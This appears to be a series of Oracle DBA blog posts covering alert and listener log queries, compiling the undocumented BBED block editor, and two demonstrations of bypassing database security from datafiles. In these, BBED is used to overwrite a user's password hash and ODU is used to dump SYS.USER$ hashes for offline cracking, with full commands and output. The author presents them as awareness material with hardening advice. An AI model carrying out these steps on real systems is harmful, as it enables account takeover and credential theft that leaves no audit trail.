Tuesday, January 29, 2013

Select from Alert and Listener logs using V$DIAG_ALERT_EXT

With Oracle 11.2 it is now possible to select directly from the alert and listener logs.

This is quite useful if a DBA is logged into the database, but not the server, and wants to monitor logs.

# Selecting from the Alert log :-


SQL> select ORIGINATING_TIMESTAMP, MESSAGE_TEXT
from V$DIAG_ALERT_EXT
WHERE ORIGINATING_TIMESTAMP > sysdate -1/24
and trim(COMPONENT_ID)='rdbms'; 

ORIGINATING_TIMESTAMP
-----------------------------------------------------------------
MESSAGE_TEXT
-----------------------------------------------------------------
29-JAN-13 12.19.40.633000000 PM +09:00
create tablespace HR_AUDIT

29-JAN-13 12.19.42.037000000 PM +09:00
Completed: create tablespace HR_AUDIT


# Selecting from the Listener log :-


SQL> select ORIGINATING_TIMESTAMP,MESSAGE_TEXT
from V$DIAG_ALERT_EXT
WHERE ORIGINATING_TIMESTAMP > sysdate -1/240
and trim(COMPONENT_ID)='tnslsnr';  

ORIGINATING_TIMESTAMP
-----------------------------------------------------------------
MESSAGE_TEXT
-----------------------------------------------------------------
29-JAN-13 12.20.22.866000000 PM +09:00
29-JAN-2013 12:20:22 * (CONNECT_DATA=(SID=test)(CID=(PROGRAM=perl)(HOST=rac1.tes
t.com)(USER=oracle))) * (ADDRESS=(PROTOCOL=tcp)(HOST=192.168.1.204)(PORT=15961))
 * establish * test * 0

29-JAN-13 12.20.23.540000000 PM +09:00
29-JAN-2013 12:20:23 * (CONNECT_DATA=(SID=test)(CID=(PROGRAM=perl)(HOST=rac1.tes
t.com)(USER=oracle))) * (ADDRESS=(PROTOCOL=tcp)(HOST=192.168.1.204)(PORT=15962))
 * establish * test * 0

Monday, January 21, 2013

Linking BBED on Oracle 11g / Linux

The BBED tool is not documented or supported by Oracle for external clients, and is not distributed by Oracle in binary form, so must be compiled when needed.  The libraries needed to compile it have not been distributed in 11g, but it still compiles with files copied from a 10g install.

Of course linking this tool with manually copied libraries, with no documentation or support from Oracle could easily lead to unrecoverable data corruption.  It should be safe to use it to read data from blocks but I don't recommend using BBED to modify data on a database you care about.   Test it against a DEV database, and don't expect support.

1. copy library files from 10g $ORACLE_HOME/rdbms/lib to 11g $ORACLE_HOME/rdbms/lib :-

cp ssbbded.o $ORACLE_HOME/rdbms/lib/
cp sbbdpt.o $ORACLE_HOME/rdbms/lib/

2. copy message files from 10g $ORACLE_HOME/rdbms/mesg to 11g $ORACLE_HOME/rdbms/mesg :-

cp bbedus.msb $ORACLE_HOME/rdbms/mesg/
cp bbedus.msg $ORACLE_HOME/rdbms/mesg/

3. set environment for the 11g $ORACLE_HOME/rdbms/lib and make bbed

cd $ORACLE_HOME/rdbms/lib
make -f ins_rdbms.mk BBED=$ORACLE_HOME/bin/bbed $ORACLE_HOME/bin/bbed

4. execute bbed

cd $ORACLE_HOME/bin
$ ./bbed
Password:

BBED: Release 2.0.0.0.0 - Limited Production on Mon Jan 21 07:08:13 2013

Copyright (c) 1982, 2009, Oracle and/or its affiliates.  All rights reserved.

************* !!! For Oracle Internal Use only !!! ***************

BBED>


The password is hard coded in the binary, so you can get a list of likely candidates using  "strings -a bbed" and use trial and error to confirm that the correct one is "BLOCKEDIT"

Oracle BBED command syntax from "help all"

BBED> help all
SET DBA [ dba | file#, block# ]
SET FILENAME 'filename'
SET FILE file#
SET BLOCK [+/-]block#
SET OFFSET [ [+/-]byte offset | symbol | *symbol ]
SET BLOCKSIZE bytes
SET LIST[FILE] 'filename'
SET WIDTH character_count
SET COUNT bytes_to_display
SET IBASE [ HEX | OCT | DEC ]
SET OBASE [ HEX | OCT | DEC ]
SET MODE  [ BROWSE | EDIT ]
SET SPOOL [ Y | N ]
SHOW [ | ALL ]
INFO
MAP[/v] [ DBA | FILENAME | FILE | BLOCK ]
DUMP[/v] [ DBA | FILENAME | FILE | BLOCK | OFFSET | COUNT ]
PRINT[/x|d|u|o|c] [ DBA | FILE | FILENAME | BLOCK | OFFSET | symbol | *symbol ]
EXAMINE[/Nuf] [ DBA | FILE | FILENAME | BLOCK | OFFSET | symbol | *symbol ]

:N - a number which specifies a repeat count.
u - a letter which specifies a unit size:
  b - b1, ub1 (byte)
  h - b2, ub2 (half-word)
  w - b4, ub4(word)
  r - Oracle table/index row
f - a letter which specifies a display format:
  x - hexadecimal
  d - decimal
  u - unsigned decimal
  o - octal
  c - character (native)
  n - Oracle number
  t - Oracle date
  i - Oracle rowid
FIND[/x|d|u|o|c] numeric/character string [ TOP | CURR ]
COPY [ DBA | FILE | FILENAME | BLOCK ] TO [ DBA | FILE | FILENAME | BLOCK ]
MODIFY[/x|d|u|o|c] numeric/character string
      [ DBA | FILE | FILENAME | BLOCK | OFFSET | symbol | *symbol ]
ASSIGN[/x|d|u|o] =
: [ DBA | FILE | FILENAME | BLOCK | OFFSET | symbol | *symbol ]
: [ value | ]
SUM [ DBA | FILE | FILENAME | BLOCK ] [ APPLY ]
PUSH [ DBA | FILE | FILENAME | BLOCK | OFFSET ]
POP [ALL]
REVERT [ DBA | FILE | FILENAME | BLOCK ]
UNDO
HELP [ | ALL ]
VERIFY [ DBA | FILE | FILENAME | BLOCK ]
CORRUPT [ DBA | FILE | FILENAME | BLOCK ]

Sunday, January 20, 2013

Using BBED to update Oracle Password Hashes


In a previous blog post I showed it was possible to extract unencrypted data directly from Oracle database files, bypassing all database level security and auditing.

In this post I will show it is also possible to avoid database level security and audit to update data.    It is relatively easy to write a program to do this if you understand the Oracle block structure, but for this example I will use the BBED tool (Oracle Block Browser and EDitor)

The BBED tool is not documented or supported by Oracle for external clients, and is not distributed by Oracle in binary form, so must be compiled when needed.  The libraries needed to compile it have not been distributed in 11g, but it still compiles with files copied from a 10g install.

Of course linking this tool with manually copied libraries, with no documentation or support from Oracle could easily lead to unrecoverable data corruption.  It should be safe to use it to read data from blocks but I don't recommend using BBED to modify data on a database you care about.   Test it against a DEV database, and don't expect support.

Using BBED to update password hashes in USER$ (cluster C_USER#)


BBED can directly update data in tables.  In this case I am updating the password hash in table USER$ (cluster C_USER#) to allow database login with a known password.

The database is Oracle 11.2.0.1 on 32 bit Linux.  I have also enabled case sensitive login for extra security, so password hashes are stored in attribute SPARE4.

SQL> show parameter case

NAME                                 TYPE        VALUE
------------------------------------ ----------- ----------------
sec_case_sensitive_logon             boolean     TRUE

First get the hash for a known password.  This can be done in any database, then used on the target.

SQL> alter user hr identified by knownpassword;

User altered.

SQL> select spare4 from user$ where name in ('HR');

SPARE4
--------------------------------------------------------------------------------
S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E

So the hash we WANT is :-
S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E

Now find details of the string, file, block, offset to replace.  This could be done by scanning blocks on disk, but in this demonstration I will use data dictionary tables to speed it up.

SQL> select spare4 from user$ where name in ('HR');

SPARE4
-----------------------------------------------------------------
S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C

And the hash we want to REPLACE is :-
S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C

Now we find the file and block where we should look for the hash string.

SQL> select file_id, block_id, blocks from dba_extents where segment_name = 'C_USER#';

   FILE_ID   BLOCK_ID     BLOCKS
---------- ---------- ----------
         1        208          8

SQL> select rowid from sys.user$ where name = 'HR';

ROWID
------------------
AAAAAKAABAAAADVAAG

SQL> SELECT dbms_rowid.rowid_block_number('AAAAAKAABAAAADVAAG') FROM dual;

DBMS_ROWID.ROWID_BLOCK_NUMBER('AAAAAKAABAAAADVAAG')
---------------------------------------------------
                                                213

SQL> select file#||' '||name||' '||bytes from v$datafile where file# = 1;

FILE#||''||NAME||''||BYTES
--------------------------------------------------------------------------------
1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf 702545920

So we have identified that C_USER# is stored in file 1, in one extent of 8 blocks starting at block number 208.  The actual row we want to update is in block 213.

With the file details we can create the parameter file and execute BBED :-

vi /home/oracle/bbed.par

blocksize=8192
listfile=/home/oracle/fileunix.log
mode=edit
1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf 702545920


$ bbed
Password:

BBED: Release 2.0.0.0.0 - Limited Production on Mon Jan 21 08:34:55 2013

Copyright (c) 1982, 2009, Oracle and/or its affiliates.  All rights reserved.

************* !!! For Oracle Internal Use only !!! ***************


# Load the configuration file :-

BBED> SET LIST '/home/oracle/bbed.par'
        LISTFILE        /home/oracle/bbed.par

# Specify the filename to work on :-

BBED> SET FILENAME '/ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf'
        FILENAME        /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf

# Tell BBED to work on file 1, block 213 :-

BBED> set dba 1,213
        DBA             0x004000d5 (4194517 1,213)

# Now find the offset where the hash string starts :-

BBED> find /c S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C
 File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
 Block: 213              Offsets: 5393 to 5904           Dba:0x004000d5
------------------------------------------------------------------------
 533a3637 43364532 45334230 36393044 36363539 43463131 42374542 39363841
 36343837 39313734 46343237 36363534 43443042 39383033 31344339 38436c00
 16040248 5202c102 10433232 42333046 42423839 42363541 4402c108 02c10407


# Dump the data at that offset to confirm the length and content

BBED> dump /v dba 1,213 offset 5393 count 62
 File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
 Block: 213     Offsets: 5393 to 5454  Dba:0x004000d5
-------------------------------------------------------
 533a3637 43364532 45334230 36393044 l S:67C6E2E3B0690D
 36363539 43463131 42374542 39363841 l 6659CF11B7EB968A
 36343837 39313734 46343237 36363534 l 64879174F4276654
 43443042 39383033 31344339 3843     l CD0B980314C98C


# Set BBED to EDIT mode

BBED> SET MODE EDIT
        MODE            Edit

# Modify update the block with the new hash string from the specified offset

BBED> modify /c S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E dba 1,213 offset 5393
Warning: contents of previous BIFILE will be lost. Proceed? (Y/N) Y
 File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
 Block: 213              Offsets: 5393 to 5454           Dba:0x004000d5
------------------------------------------------------------------------
 533a4541 30353837 37424330 33433033 34323243 35354533 39413433 42443031
 33303133 44374545 46333334 43463546 45414130 32324439 35324237 3845

# Dump the data again to confirm the update.

BBED> dump /v dba 1,213 offset 5393 count 62
 File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
 Block: 213     Offsets: 5393 to 5454  Dba:0x004000d5
-------------------------------------------------------
 533a4541 30353837 37424330 33433033 l S:EA05877BC03C03
 34323243 35354533 39413433 42443031 l 422C55E39A43BD01
 33303133 44374545 46333334 43463546 l 3013D7EEF334CF5F
 45414130 32324439 35324237 3845     l EAA022D952B78E

We confirmed that the hash has been updated.  Now, we need to update the block checksum to match the new data.

Check if the checksum needs to be updated :-

BBED> sum dba 1,213
Check value for File 1, Block 213:
current = 0x8d06, required = 0x8208

It does need to be updated, so now we apply the update.

BBED> sum dba 1,213 apply
Check value for File 1, Block 213:
current = 0x8208, required = 0x8208

# Now exit BBED and check from the database if we can see the changed data :-

SQL> select spare4 from user$ where name in ('HR');

SPARE4
-----------------------------------------------------------------
S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C

# Select from the database is still showing the old value because it uses the cached block version in memory.  The database needs to re-read the block from disk to get the updated block.  This could be done by a database restart, by filling the buffer cache to flush LRU blocks, or by manually flushing the cache.  If someone was actually using BBED to update data the best time would be immediately before or after a database restart to avoid a mismatch between data on disk and in cache, and avoid having the changed disk block being overwritten.

In this case I will speed up the process by flushing the cache.

SQL> alter system flush buffer_cache;

System altered.

SQL> select spare4 from user$ where name in ('HR');

SPARE4
-----------------------------------------------------------------
S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E

You can see the select now returns the updated hash for the known password.  And we can test is using :-

SQL> connect hr/knownpassword

Connected.


Using BBED (or similar program) it is possible for someone with write access to Oracle datafiles to directly update data, passwords, or code and bypass database level security and audit.   To avoid this vulnerability, secure the server, limit access to datafiles, and encrypt sensitive data.

If you want to find out more about BBED you can run "help all" you can get a basic listing of commands.

More information about BBED can be found here in the following document by Graham Thornton :- http://orafaq.com/papers/dissassembling_the_data_block.pdf

Thursday, January 17, 2013

Using Oracle Data Unloader (ODU) to extract data from Oracle Databases while avoiding security and auditing.


There are some very expensive products being sold to stop people from accessing sensitive data in Oracle databases, and some companies even insist that DBAs should manage databases without having access to the data. This post is to remind managers that even with the most expensive security product, if the data is not encrypted, anyone with access to the files on disk can read it. Don't believe what the Salesmen tell you !!!

Anyone with access to Oracle datafiles with unencrypted table data can extract it. The Oracle block structure is reasonably well known, and there are a number of commercial products that allow users to read directly from files without being logged into the database. If you are reading data directly from files, it can be done from standby databases, shutdown databases, or even file fragments or backup pieces.

These data unloader tools are usually meant for extracting data from corrupt files, truncated tables, or for fast data migration or replication, but they can also be used to bypass database security and audit layers for extraction of sensitive data or even password hashes which can be used to guess passwords for privilege escalation.

Following is an example using the Oracle Data Unloader (ODU) tool.  There are other data unloader tools available, and I have not compared them, so can't say which is best, and have not compared prices.

1. Download Oracle Data Unloader (ODU) trial version from http://www.oracleodu.com/en/ and extract the binary and config files.

2. Get the SYSTEM tablespace file names by selecting from v$datafile, or by looking in the OS.


SQL> select ts#,file#,rfile#,name from v$datafile where name like '%system%';
       TS#      FILE#     RFILE#  NAME
---------- ---------- ----------  --------------------------------------------------------------------------------
         0          1          1  /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf

3. Add the datafile to control.txt


$ more control.txt
#ts fno   rfno     filename                                          block_size  is_big_file header_offset blocks
 0 1 1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf

4. Start ODU


$ ./odu

Oracle Data Unloader trial version 4.1.3

Copyright (c) 2008,2009,2010,2011 XiongJun. All rights reserved.

Web: http://www.oracleodu.com
Email: magic007cn@gmail.com

loading default config.......

byte_order little
block_size  8192
block_buffers 1024
error at line 3.
db_timezone -7
Invalid db timezone:-7
client_timezone 8
Invalid client timezone:8
asmfile_extract_path   /asmfile
data_path   data
lob_path    /odu/data/lob
charset_name US7ASII
charset name 'US7ASII' not found,will use default charset ZHS16GBK
ncharset_name AL16UTF16
output_format text
lob_storage infile
clob_byte_order big
trace_level 1
delimiter |
unload_deleted no
file_header_offset 0
is_tru64 no
record_row_addr no
convert_clob_charset yes
use_scanned_lob  yes
trim_scanned_blob yes
lob_switch_dir_rows 20000
db_block_checksum yes
db_block_checking yes
rdba_file_bits 10
compatible 10
load config file 'config.txt' successful
loading default asm disk file ......


grp# dsk# bsize ausize disksize diskname        groupname       path
---- ---- ----- ------ -------- --------------- --------------- --------------------------------------------

load asm disk file 'asmdisk.txt' successful
loading default control file ......


 ts#   fn  rfn bsize   blocks bf offset filename
---- ---- ---- ----- -------- -- ------ --------------------------------------------
   0    1    1  8192    85760 N       0 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf
load control file 'control.txt' successful
loading dictionary data......done

loading scanned data......done

5. Unload the dictionary


ODU> unload dict
CLUSTER C_USER# file_no: 1 block_no: 208
TABLE OBJ$ file_no: 1 block_no: 240
CLUSTER C_OBJ# file_no: 1 block_no: 144
CLUSTER C_OBJ# file_no: 1 block_no: 144
found IND$'s obj# 19
found IND$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:3
found TABPART$'s obj# 576
found TABPART$'s dataobj#:576,ts#:0,file#:1,block#:3824,tab#:0
found INDPART$'s obj# 581
found INDPART$'s dataobj#:581,ts#:0,file#:1,block#:3872,tab#:0
found TABSUBPART$'s obj# 588
found TABSUBPART$'s dataobj#:588,ts#:0,file#:1,block#:3928,tab#:0
found INDSUBPART$'s obj# 593
found INDSUBPART$'s dataobj#:593,ts#:0,file#:1,block#:3968,tab#:0
found IND$'s obj# 19
found IND$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:3
found LOB$'s obj# 80
found LOB$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:6
found LOBFRAG$'s obj# 609
found LOBFRAG$'s dataobj#:609,ts#:0,file#:1,block#:4096,tab#:0

6. Unload the table data you want.  In this case we are unloading the USER$ table which contains password hashes.

ODU> unload table SYS.USER$

Unloading table: USER$,object ID: 22
Unloading segment,storage(Obj#=22 DataObj#=10 TS#=0 File#=1 Block#=208 Cluster=1)
89 rows unloaded

7. Review the extracted data, load it into another database etc.


$ ls -lrt
total 9136
-rwxr-xr-x  1 oracle oinstall     558 Mar 22  2011 config.txt
-rwxr-xr-x  1 oracle oinstall 2588361 Feb  2  2012 odu
-rw-r--r--  1 oracle oinstall       0 Jan 18 09:40 odu_trace.txt
-rwxr-xr-x  1 oracle oinstall      87 Jan 18 09:40 asmdisk.txt
-rwxr-xr-x  1 oracle oinstall     181 Jan 18 09:50 control.txt
-rw-r--r--  1 oracle oinstall    1440 Jan 18 09:52 user.odu
-rw-r--r--  1 oracle oinstall 2732224 Jan 18 09:52 obj.odu
-rw-r--r--  1 oracle oinstall 3725801 Jan 18 09:52 col.odu
-rw-r--r--  1 oracle oinstall  148683 Jan 18 09:52 tab.odu
-rw-r--r--  1 oracle oinstall   33307 Jan 18 09:52 lob.odu
-rw-r--r--  1 oracle oinstall      40 Jan 18 09:52 lobfrag.odu
-rw-r--r--  1 oracle oinstall   61636 Jan 18 09:52 ind.odu
drwxr-xr-x  2 oracle oinstall    4096 Jan 18 09:53 data
$ cd data
$ ls
SYS_USER$.ctl  SYS_USER$.sql  SYS_USER$.txt

$ more SYS_USER$.txt

0|SYS|1|DCB748A5BC5390F2|0|3|2009-08-13 23:00:59|2013-01-15 10:22:57|2009-08-13 23:56:35|2009-08-13 23:56:35|0||1|||0|0|DEFAU
LT_CONSUMER_GROUP||0|||S:53620F1B30414FA6489438A818421FB22C752C53A9B0519C7A3FEB67A7C5


I was able to extract the password hashes for the SYS user, and all other users in the database (not shown), without logging into the database, or leaving an audit record.  I could then use brute force, or rainbow tables to find the password.  Alternatively I could also extract any unencrypted credit card details, application passwords etc.

To properly secure sensitive data in Oracle Databases, access to the server, datafiles, and backups should be restricted, and data should be encrypted.